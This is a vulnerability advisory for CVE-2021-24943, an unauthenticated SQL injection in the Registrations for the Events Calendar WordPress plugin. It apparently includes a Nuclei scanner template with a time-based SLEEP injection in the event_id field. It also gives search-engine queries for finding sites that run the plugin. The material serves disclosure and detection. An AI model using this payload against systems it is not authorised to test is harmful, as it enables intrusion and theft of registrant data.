CVE-2021-24943: Registrations for the Events Calendar < 2.7.6 - SQL Injection

Description

The Registrations for the Events Calendar WordPress plugin before 2.7.6 does not sanitise and escape the event_id in the rtec_send_unregister_link AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an unauthenticated SQL injection.

PoC

id: CVE-2021-24943

info:
  name: Registrations for the Events Calendar < 2.7.6 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The Registrations for the Events Calendar WordPress plugin before 2.7.6 does not sanitise and escape the event_id in the rtec_send_unregister_link AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an unauthenticated SQL injection.
  impact: |
    Unauthenticated attackers can execute SQL injection through the event_id parameter, potentially extracting all Events Calendar registration data including attendee information.
  remediation: Fixed in 2.7.6
  reference:
    - https://wpscan.com/vulnerability/ba50c590-42ee-4523-8aa0-87ac644b77ed/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24943
    - https://wordpress.org/plugins/registrations-for-the-events-calendar/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24943
    cwe-id: CWE-89
    epss-score: 0.07474
    epss-percentile: 0.94154
    cpe: cpe:2.3:a:roundupwp:registrations_for_the_events_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: roundupwp
    product: registrations_for_the_events_calendar
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/registrations-for-the-events-calendar/
    fofa-query: body=/wp-content/plugins/registrations-for-the-events-calendar/
    publicwww-query: "/wp-content/plugins/registrations-for-the-events-calendar/"
  tags: time-based-sqli,wpscan,cve,cve2021,wp,wp-plugin,wordpress,sqli,registrations-for-the-events-calendar,roundupwp,vkev,vuln
variables:
  text: "{{rand_base(5)}}"

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        event_id=3 AND (SELECT 1874 FROM (SELECT(SLEEP(5)))vNpy)&email={{text}}@{{text}}.com

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'
          - 'status_code == 200'
          - 'contains(body, "Please enter the email you registered with")'
        condition: and
# digest: 4b0a00483046022100fc4ec0d4d7f7f57821fea7e980a83a3ecac9f9b553c6c92ae2af87a865086715022100c15fd60f90658794dcc140da7d06b22c57083442d803bab8ec70a679d48bc68a:922c64590222798bb761d5b6d8e72950

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